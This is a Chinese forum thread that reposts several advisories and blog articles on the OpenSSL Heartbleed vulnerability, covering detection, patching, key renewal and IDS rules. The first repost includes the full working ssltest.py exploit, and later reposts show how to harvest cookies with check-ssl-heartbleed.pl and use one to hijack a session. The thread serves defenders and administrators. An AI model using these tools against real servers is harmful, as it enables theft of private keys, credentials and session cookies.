茫茫網海中的冷日
         
茫茫網海中的冷日
發生過的事,不可能遺忘,只是想不起來而已!
 恭喜您是本站第 1671771 位訪客!  登入  | 註冊
主選單

Google 自訂搜尋

Goole 廣告

隨機相片
IMG_60D_00023.jpg

授權條款

使用者登入
使用者名稱:

密碼:


忘了密碼?

現在就註冊!

小企鵝開談 : [轉貼]OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

發表者 討論內容
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

部落格 Blog

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

OpenSSL CVE-2014-0160 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞( CVE-2014-0160),被稱為「 Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱
existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

  • 軟體名稱:OpenSSL
  • 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
  • 修復版本:1.0.1g / 1.0.2-beta2
  • 影響系統版本
    • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
    • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
    • CentOS 6.5, OpenSSL 1.0.1e-15
    • Fedora 18, OpenSSL 1.0.1e-4
    • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
    • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
    • NetBSD 5.0.2 (OpenSSL 1.0.1e)
    • OpenSUSE 12.2 (OpenSSL 1.0.1c)
  • 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下: https://www.openssl.org/news/secadv_20140407.txt



A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.

如何自我檢測?

要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。

直接輸入 Domain 即可查詢,例如「fbi.gov」。

使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。


原始碼如下:


#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。

使用說明:


Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)
Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port
--starttls proto[:arg] - start plain and upgrade to SSL with
starttls protocol (imap,smtp,http,pop)
-T|--timeout T - use timeout (default 5)
-H|--heartbeats N - number of heartbeats (default 1)
-s|--show-data [L] - show heartbeat response if vulnerable, optional
parameter L specifies number of bytes per line (16)
-R|--show-regex-data R - show data matching perl regex R. Option can be
used multiple times
-q|--quiet - don't show anything, exit 1 if vulnerable
-h|--help - this screen
Examples:
# check direct www, imaps .. server
check-ssl-heartbleed.pl www.google.com:443
check-ssl-heartbleed.pl www.google.com:https
check-ssl-heartbleed.pl mail.google.com:imaps
# try to get Cookies
check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443
# check webserver via proxy
check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000
# check imap server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143
# check pop server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110
# check smtp server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587


應對措施

如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?

  1. 確認自己的 OpenSSL 版本是否在受害範圍
  2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
  3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
  4. 重開所有與 OpenSSL 函式庫相關之服務
  5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
  6. 將網站舊憑證撤銷
  7. 清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
  8. 必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生

詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it

誰會是目標呢?

真的會有攻擊者利用這樣的攻擊手法嗎?目前在 烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。


小結

就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!


原文出處: OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞 | DEVCORE 戴夫寇爾
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]OpenSSL存在高風險CVE-2014-0160(Heartbleed)漏洞 (4/25更新)

OpenSSL存在高風險CVE-2014-0160(Heartbleed)漏洞 (4/25更新)

OpenSSL存在高風險漏洞 (漏洞編號:CVE-2014-0160),漏洞與OpenSSL TLS/DTLS傳輸層安全協議heartbeat擴充元件相關,因此漏洞又被稱為heartbleed漏洞,將造成記憶體內容外洩風險。

攻擊者利用該漏洞無需通過權限或身分驗證,即可讀取伺服器記憶體,竊取x.509加密金鑰、使用者帳號密碼、cookies等,將可對 OpenSSL 保護的網路通信進行解密、偽冒或進行中間人攻擊,竊取e-mail、文件及通訊內容等機敏資訊。

影響平台:OpenSSL 1.0.1~1.0.1f版本、OpenSSL 1.0.2-beta~1.0.2-beta1版本
影響系統版本:安裝有弱點版本OpenSSL的任意作業系統

建議措施:

1.OpenSSL已釋出相關修補程式:版本1.0.1g
  修補程式詳見: https://www.openssl.org/source/
2.安裝有OpenSSL的主機可於登入後執行 openssl version指令確認使用OpenSSL版本是否為受影響版本。
3.使用者可利用Heartbleed漏洞工具檢查判斷系統是否受到漏洞的影響,MyCERT提供Heartbleed漏洞檢查工具: http://heartbleed.honeynet.org.my/
  Chrome瀏覽器附加元件ChromebleedChecker:
https://chrome.google.com/webstore/detail/chromebleed/eeoekjnjgppnaegdjbcafdggilajhpic?hl=en
4.參考OpenSSL官方建議加上「-DOPENSSL_NO_HEARTBEATS」重新編譯,以停用Heartbeat擴充元件功能。
5.使用者確認所使用之服務已完成漏洞修補後,建議重新產生SSL金鑰並撤銷原本金鑰,變更網站使用者密碼,以避免資訊外洩之風險。

(更新)6.更多檢測說明與改善建議請參考:  OpenSSL Heartbleed (CVE-2014-0160)漏洞檢測與改善建議

參考資料:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
https://www.openssl.org/news/secadv_20140407.txt
http://heartbleed.com/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160
http://www.securityfocus.com/bid/66690/info
https://www.kb.cert.org/vuls/id/720951
http://www.mycert.org.my/en/services/advisories/mycert/2014/main/detail/963/
https://www.hkcert.org/my_url/zh/blog/14041501


原文出處: OpenSSL存在高風險CVE-2014-0160(Heartbleed)漏洞 (4/25更新) - Taiwan National Computer Emergency Response Team
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]修復OpenSSL CVE-2014-0160資安漏洞後必做工作

修復OpenSSL CVE-2014-0160資安漏洞後必做工作

OpenSSL的CVE-2014-0160漏洞被揭露之後,我們除了要 進行OpenSSL的更新之外,還要避免我們原本的SSL Key在修復前就被偷走的風險,因此建議做以下的防護動作。

更新SSH Host Key


sudo ssh-keygen -f /etc/ssh/ssh_host_rsa_key -b 4096 -t rsa
sudo ssh-keygen -f /etc/ssh/ssh_host_dsa_key -b 1024 -t dsa

  • -b 是指Key的長度,建議至少設置在2048以上
  • dsa 的長度則一定是1024

更新使用者的key

切換到該使用者之後
ssh-keygen -b 4096 -t rsa

  • -b 是指Key的長度,建議至少設置在2048以上
  • 如果這位使用者原本的key,有存放在另外其它主機的authorized_keys,記得其它主機的authorized_keys也要一併更新

更新網站SSL憑證所使用的Key和CSR
openssl req -new -newkey rsa:4096 -nodes -sha256 -out [NAME].csr -keyout [NAME].key
  • 請將 [NAME] 換成你自己常用的名稱,建議跟原本的名稱一樣,這樣後面可以少做一些修改
  • rsa:4096 是指private key的長度,可以選擇2048, 3072, 4096三種長度
  • -sha256 加上這個參數是用來產生SHA-256的CSR,並且用來產生SHA-2的SSL憑證
  • 記得先備份原本的SSL憑證相關檔案: key, csr, crt和bundle crt這幾個檔案
  • 如果忘記原本csr的內容,可以打開現在csr的檔案,把內容貼到 CSR Decoder這個網站去做反解,得到當初填寫的內容
  • 到申請SSL的網站進行re-key,然後把csr貼上去
  • 等待大約5分鐘,就會拿到新的crt
  • 修改Web Server SSL相關的設定,以Apache為例就是修改 /etc/httpd/conf.d/ssl.conf
  • 重新啟動Web Server


原文出處: 修復OpenSSL CVE-2014-0160資安漏洞後必做工作 阿維雜記本 (Wei's Blog)
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]OpenSSL Heartbleed (CVE-2014-0160)漏洞檢測與改善建議

OpenSSL Heartbleed (CVE-2014-0160)漏洞檢測與改善建議

國家資通安全會報技術服務中心 2014/4/25 14:54:46

1. 前言

OpenSSL[1]是以Eric Young與Tim Hudson所寫的SSLeay為基礎之開放原始碼SSL套件,主要功能為基本的傳輸層資料加密。在2012/3/14推出的1.0.1版本存在高風險漏洞(漏洞編號:CVE-2014-0160)[2],漏洞與OpenSSL TLS/DTLS傳輸層安全協議heartbeat擴充元件相關,因此又被稱為Heartbleed漏洞,該漏洞允許攻擊者從伺服器記憶體中讀取最多64KB的資料,將造成記憶體內容外洩風險。

2. 漏洞資訊

  • 漏洞編號:CVE-2014-0160

  • 影響OpenSSL版本:

  • OpenSSL 1.0.1~1.0.1f版本

  • OpenSSL 1.0.2-beta~1.0.2-beta1版本

  • 影響系統版本:安裝有弱點版本OpenSSL的任意作業系統與套件

  • 可能風險:

  • 攻擊者利用該漏洞無需通過權限或身份驗證,即可讀取伺服器記憶體,竊取SSL私密金鑰、Session cookie或使用者帳號密碼等機敏資訊。

  • 攻擊者可針對由OpenSSL保護的網路通信進行解密、偽冒或進行中間人攻擊,以竊取E-mail、文件及通訊內容等,進而入侵伺服器取得機敏資訊。

 

3. 檢測方式


針對CVE-2014-0160可能產生之資安影響,提供下列檢測與改善建議供各機關參考。

3.1.自行檢視OpenSSL版本

3.1.1. 可利用openssl指令檢視版本

#openssl version

資料來源:本計畫整理

圖1 openssl指令檢視版本

3.1.2. 可利用dpkg檢視所使用的OpenSSL版本

#dpkg -l openssl

資料來源:本計畫整理

圖2 dpkg檢視Openssl版本

如版本為1.0.1至1.0.1f與OpenSSL 1.0.2-beta至1.0.2-beta1皆為本次受影響之版本。


3.2.使用Heartbleed Checker檢測網頁

3.2.1. 檢測方法

檢測網站: http://heartbleed.honeynet.org.my [3]。

此網站由MyCERT所提供,於網站中直接輸入Domain Name即可直接進行檢測,網站如下圖所示:

資料來源:本計畫整理

圖3 Heartbleed檢測網頁

3.3.使用python程式檢測

3.3.1. 檢測方法

確認python安裝版本,輸入python -V

資料來源:本計畫整理

圖4 python安裝版本檢查

下載python檢測程式ssltest.py : http://pastebin.com/WmxzjkXJ


可檢測的Port包含HTTPS:443(預設)、SMTPS:465、IMAPS:993及POP3S:995,於安裝python的主機command line內輸入指令: python ssltest.py [IP或DN] -P [Port],下圖以192.168.10.128為範例。

資料來源:本計畫整理

圖5 python指令輸入

3.3.2. 檢測結果

如存在CVE-2014-0160弱點則會印出SSL服務記憶體內的資訊,此時可以利用python ssltest.py 192.168.10.128 | more逐頁檢視。

資料來源:本計畫整理

圖6 攻擊成功畫面

 

3.4.使用perl程式檢測

3.4.1. 檢測方法


下載perl檢測程式check-ssl-heartbleed.pl : https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl

指令格式:perl check-ssl-heartbleed.pl [IP 或 DN]:443,也可以在網域名稱後指定特定SSL連接埠,如:imaps。

3.4.2. 檢測結果

如機關存在CVE-2014-0160弱點則在執行後會出現如下圖紅框內的結果。

資料來源:本計畫整理
圖7 驗證存在弱點畫面

3.5.使用弱點掃描軟體檢測

3.5.1. 檢測方式

擁有Nessus軟體授權之機關可選用Plugin ID:73412進行檢測,可檢測OS如:CentOS、Debian、Fressbsd、Oracle Linux、RedHat、Amazon  Linux AMI and other platforms including Gentoo,Scientific Linux, Slackware[4]。

如使用Nexpose軟體則可以參考Nexpose針對CVE-2014-0160建置專屬template[5] 進行檢測。

3.6. 使用Metasploit檢測

3.6.1. 檢測環境架設


安裝Metasploit與至github更新CVE-2014-0160的檢測程式[6]。

匯入檢測程式以KAIL為例:

#mkdir /usr/share/metasploit-framework/modules/auxiliary/scanner/ssl/

#cp openssl_heartbleed.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/ssl/

3.6.2. 檢測方法

利用Metasploit的msfcli檢測CVE-2014-0160漏洞。

參數說明:

  • THREADS設定執行序的數量

  • TLS_CALLBACK設定支援的協定,如:None, SMTP, IMAP, JABBER, POP3, FTP,HTTPS為None

  • PORT設定所要檢測的埠

  • RHOSTS設定要檢測的IP與網段

範例:

#msfcli auxiliary/scanner/ssl/openssl_heartbleed THREADS=256 TLS_CALLBACK=None PORT=443 RHOSTS=10.4.0.0/24 E

3.6.3. 檢測結果

提供檢測圖示以確認主機是否含有CVE-2014-0160漏洞


  • 代表10.4.0.0/24網段有一台主機10.4.0.130含有CVE-2014-0160漏洞

資料來源:本計畫整理

圖8 含有漏洞之主機

4. 改善建議

為避免機關遭駭客利用CVE-2014-0160弱點而導致機敏資料外洩,技服中心提出以下幾點改善建議以供參考。

4.1.更新OpenSSL版本

建議修補至1.0.1g與1.0.2beta-2以上之版本

4.2.更新帳號密碼

建議更新管理者帳號密碼,亦可考慮同步要求使用者全面更新密碼。

4.3.重新產生伺服器私密金鑰

私密金鑰可能因為此弱點而外洩[7],因此建議重新產生伺服器私密金鑰。

4.4.更換新憑證

建議撤銷舊有憑證,重新使用新憑證。

  

5. 結語


CVE-2014-0160弱點已由OpenSSL於2014/4/7正式宣布影響範圍包含OpenSSL 1.0.2-beta~1.0.2-beta1、OpenSSL 1.0.1~1.0.1f,該漏洞將導致駭客可竊取機關機敏資訊。因此各機關應盡速了解機關內OpenSSL的使用情形,針對機關有使用OpenSSL之伺服器進行CVE-2014-0160弱點檢測,以掌握可能產生的影響,如為重要業務之伺服器應盡速完成修補措施,並持續追蹤機關網站是否發生使用者帳號遭受盜用之情形,視情況決定是否需要通知使用者進行密碼更換。

技服中心將持續進行CVE-2014-0160弱點檢測與通報作業,蒐集CVE-2014-0160弱點資訊,彙整通報之CVE-2014-0160相關資安事件,以隨時掌握CVE-2014-0160資安事件與影響程度。

6. 參考文獻


[1]OpenSSL官方網站,
https://www.openssl.org
[2]CVE-2014-0160,
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
[3]Heartbleed Checker,
http://heartbleed.honeynet.org.my
[4]Nessus-Heartbleed,

http://www.tenable.com/heart-bleed
[5]Using Nexpose to Stop the Bleeding (Scanning for the OpenSSL Heartbleed Vulnerability),
https://community.rapid7.com/community/nexpose/blog/2014/04/10/using-nexpose-to-stop-the-bleeding-scanning-for-cve-2014-0160
[6]Metasploit CVE-2014-0160檢測程式,
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
[7]Heartbleed臭蟲證實會洩露伺服器的SSL私密金鑰,
http://www.ithome.com.tw/news/86737



原文出處: OpenSSL Heartbleed (CVE-2014-0160)漏洞檢測與改善建議 - 行政院國家資通安全會報技術服務中心
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎?

OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎?

你跟上了 OpenSSL Heartbleed 的祭典了嗎?如果還沒有,別忘記詳細閱讀一下我們的前文「 OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞」。

這幾天不少企業、民眾都不斷來詢問我們相對應的解決方案:

  • Heartbleed 跟我有關嗎?我該怎麼知道?
  • 我該怎麼更新 OpenSSL?
  • 我如果不能更新,要怎麼防止攻擊?
  • Heartbleed 漏洞攻擊者會怎麼利用?
  • 目前受害的狀況如何?
  • 我只是一般民眾,該如何應對?

我相信不少人都有類似的疑問,我們以這篇專文補遺上次沒提到的資訊。

攻擊手法示範

大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞,到底有多嚴重呢?我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片,利用最先釋出的兩個簡單的 PoC exploit (弱點利用程式)「ssltest.py」以及「check-ssl-heartbleed.pl」,來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊,其中就可能包含了機敏資訊。

讓我們來看看吧!

首先利用
ssltest.py 來測試,來看伺服器是否有被 heartbleed 漏洞影響,fbi.gov 在第三天已經修復這個問題。

利用 ssltest.py 來測試伺服器是否有 Heartbleed 漏洞。

如果是檢測一個有漏洞的網站,這個工具會直接把記憶體的內容顯示出來,其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中,攻擊程式讀取到使用者送出的 form,若其中包含個資將會被一覽無遺,非常危險。


利用 ssltest.py 抓出記憶體中的資料,其中包括 HTTP 傳輸內容。

另一個工具 check-ssl-heartbleed.pl 可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。

利用 check-ssl-heartbleed.pl 來檢查伺服器是否有 heartbleed 問題。

如果使用「-R」參數並且指定特定的正規表示式,可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例,我們知道這個網站提供
phpMyAdmin 套件,因此直接鎖定「pmaPass」資料來抓取,沒想到第一次就抓到了。

利用 check-ssl-heartbleed.pl 抓出特定機敏資料。

接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中,就可以如影片中盜用這個帳號。是否很危險呢?

除了這種利用方法之外,還有更多情況是直接把使用者登入的帳號密碼直接顯示出來的,因此如果伺服器沒有做好防禦或更新,整個網站的使用者資料都可以因此外洩。這也是為什麼我們一直強調伺服器管理者必須要更新金鑰、全站使用者帳號密碼等,以防有心人士借此撈取資料。

誰在利用 Heartbleed 漏洞竊取資料呢?

由 github 上面的 commit 記錄,出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的,不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的
報導指出,知情人士表示 NSA 早在兩年前就已經知道此漏洞,並且利用這個漏洞竊取許多網站的機敏資料。這代表 NSA 在一開始就知道這個漏洞,令人不禁有其他聯想。

The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.

在之前 台灣駭客年會 (HITCON) 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了 大量掃描 Heartbleed 漏洞的程式,也可以供研究人員自行研究,或者是尋找自己管理的主機中有多少包含這個風險的。

常見問題

OpenSSL 是什麼?IIS 會受 Heartbleed 漏洞影響嗎?


OpenSSL 是一個函式庫(Library),在 UNIX 系列的服務若有使用 SSL,通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。

我使用 OpenSSL 0.9.8,太好了我用舊版我好安全!

你聽過 BEAST, BREACH, CRIME, Lucky 13 嗎?

我沒有使用 HTTPS,所以我很安全!

。。。

只有網頁伺服器(HTTP Server)會受影響嗎?

不只!只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍,包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。

只有自己架設的伺服器會受影響嗎?

當然不只!目前已經出現各大設備廠商都遭遇到這樣的問題。各大設備廠商、作業系統等影響狀況,可以參閱以下文章。

CERT: OpenSSL heartbeat extension read overflow discloses sensitive information
http://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=720951&SearchOrder=4

廠商的設備目前狀況特別嚴重,因為所有同個版本的設備都會受影響,而在廠商釋出更新之前,只能被動的等待更新。若沒有繼續簽訂維護約的設備,也只能繼續跟廠商簽約更新,或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意,如果被攻擊者取得帳號密碼,等於如入無人之境,直接使用你的帳號登入到企業內網,不可不慎。

各家系統更新的速度?

引述自好朋友 Ant 的 文章,各家作業系統、網站的更新速度,代表著企業重視資安的程度以及針對資安事件緊急應變的效率,也可以作為我們挑選系統、網站、廠商的依據。

二、作業系統的更新進度

從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。 時間軸,按照修復的先後排列:

  1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
  2. RedHat 在 2014年4月7日 07:47:00 正式修復。
  3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
  4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
  5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
  6. Debian 約在 2014年4月7日 21:45 正式修復。
  7. FreeBSD 約在 2014年4月7日 21:46 正式修復。

  8. Ubuntu 約在 2014年4月7日 21:48 正式修復。 (2014年4月8日分隔區)
  9. Fedora 約在 2014年4月8日 00:33 正式修復。
  10. CentOS 約在 2014年4月8日 02:49 正式修復。
  11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
  12. Scentific 約在 2014年4月8日 08:27 正式修復。
  13. Gentoo 約在 2014年4月8日 09:36 正式修復。

重點整理:

  1. RedHat 修復的速度比 OpenSSL 官方還快。
  2. RedHat 派系的修復時間,除了 RedHat 外都算慢,如 Fedora 及 CentOS、Scentific,他們都比 RedHat 慢 16 小時以上。
  3. Debian 派系的修復時間,如 Debian 及 Ubuntu,都比 RedHat 慢上至少 12 小時以上。
  4. Gentoo 是列表中修復最慢的。
  5. 若以資安黃金 6 小時來說,Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。

三、大公司更新的速度

同樣地,從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。

雲端相關公司

  • Cloudflare 約在 2014年4月7日 11時修復。
  • DigitalOcean 約在 2014年4月8日 12時修復。
  • AWS 約在 2014年4月8日 12時修復。
  • Linode 約在 2014年4月8日 14時修復。
  • Heroku 約在 2014年4月8日 16時修復。

有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天,也比上述機器數很多的雲端相關公司還慢。這些公司為,

  • Yahoo.com / Flickr.com
  • Kaspersky.com (資安公司)
  • stackoverflow.com

  • stackexchange .com
  • php.net

感謝 StackNG 的補充:Cloudflare 於 2014 年 4 月 7 日 11 時公告,但在漏洞公告之前已經修復。

目前還有哪些伺服器有問題呢?

根據 ZMap研究報告指出,他們針對 Alexa 前一百萬個網站進行檢測,大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個 完整的清單列出在 2014/4/11 17:00 尚未修復漏洞的網站。

ZMap.io Heartbleed vulnerable domains

有什麼值得測試的網站呢?


OpenSSL Heartbleed with a beer!

via Facebook

我要怎麼更新 OpenSSL 呢?

根據不同的 Linux Distribution 有不同的更新方式,若有自己客製化一些程式設定,可能就需要自行更新。以下我們簡單介紹更新步驟:

RedHat / CentOS / Fedora 系列更新套件:


yum update
yum update openssl #只更新 OpenSSL

Debian / Ubuntu 系列更新套件:


sudo apt-get update
sudo apt-get dist-upgrade

若只要更新 OpenSSL 則可以執行以下指令


sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

注意 OpenSSL 是否已經更新為修復的版本:


rpm -q -a | grep "openssl"  # RedHat
dpkg -l | grep "openssl" # Debian

接著請記得撤銷原本的簽章金鑰,重新簽署,並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。

openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr

結束後記得重新啟動相關服務


sudo service httpd restart      # RedHat
sudo service apache2 restart # Debian

最後再使用檢測工具看自己的網頁伺服器或其他相關服務是否已經不在漏洞受害範圍。

我無法更新我的伺服器,我該怎麼在 IDS 偵測攻擊呢?

若你使用 Snort IDS,官方已經釋出 SID 30510 到 30517 來偵測,並且在 Community Rules 中也有包含。 http://www.snort.org/snort-rules/#community


# SIDs 30510 through 30517 address detection of the heartbleed attack
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
